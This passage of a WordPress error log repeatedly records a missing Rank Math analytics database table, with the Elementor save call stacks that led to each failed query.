Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:06:53 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 21:06:53 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1244 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:09:32 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1245 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->get_autosave, wp_create_post_autosave, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:09:32 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1245 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:09:32 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1245 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:10:25 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 21:10:25 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1246 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:10:25 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 21:10:25 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1247 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:10:25 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 21:10:25 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1248 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:19:06 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 21:19:07 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1250 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:19:07 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 21:19:08 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1251 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:19:11 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 21:19:11 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1252 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:25:51 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 21:25:52 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1253 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:25:52 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 21:25:52 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1254 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:25:52 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 21:25:53 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1255 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:33:17 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1257 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->get_autosave, wp_create_post_autosave, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:33:17 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1257 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:33:17 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1257 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:43:11 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1257 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:43:12 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1257 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:44:39 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 21:44:40 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1260 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:44:40 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 21:44:40 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1261 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:44:40 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 21:44:40 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1262 made by 